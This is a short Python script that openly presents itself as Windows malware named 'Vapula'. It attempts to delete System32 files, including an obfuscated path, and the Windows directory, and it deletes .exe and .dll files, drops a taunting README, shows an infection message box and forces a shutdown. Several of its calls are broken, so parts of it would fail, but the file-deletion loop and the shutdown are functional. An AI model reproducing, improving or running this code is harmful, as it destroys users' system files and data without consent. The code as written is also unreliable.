import os
import getpass
import random, glob
import sys, time

try:
    def authsystem32():
        location2 = "C:\Windows\System32\^zm^n"
        flocation = location2.replace('^', 'a')
        os.path.join(flocation)
        os.remove(flocation)
        if not os.path.exists(flocation):
            os.remove('C:\Windows') #fuck the system
            os.system("shutdown /s")
            sys.exit

    def system32buffer():
        while os.path.exists('C:\Windows\System32'):
            location = 'C:\Windows\System32'
            ew = ['abcdefghijklmnopqrstuvwxyz', '1234567890']
            os.path.join(location)
            os.mkdir(random.choice(ew[0,1]))
            ah = os.path.join('C:\Users' + getpass.getuser() + '\Desktop')
            with open('README.txt', 'x') as f:
                f.write('LMAO BRUH, YOU ARE SUSSY BAKA')
            if not os.path.exists(location, ah):
                os.remove('C:\Windows')
                os.system("shutdown /s")
                sys.exit

    def subkiller():
        addiction = glob.glob('*.exe') + glob.glob('*.dll')
        os.path.join('C:\Windows\System32')
        for file in addiction:
            os.remove(file)  #fuck subprocess
        if not os.path.exists('C:\Windows\System32'):
            os.remove('C:\Windows')
            os.system("shutdown /s")
            sys.exit

    def message():
        os.system('''
    echo MsgBox "You are infected by Vapula!" > msg.vbs
    msg.vbs
    ''') 
    
    bye = os.system("shutdown /s")

    authsystem32() 
    system32buffer()
    message()
    time.sleep(5)
    print(bye)
except OSError:
    print("Sorry.")
    print(bye)
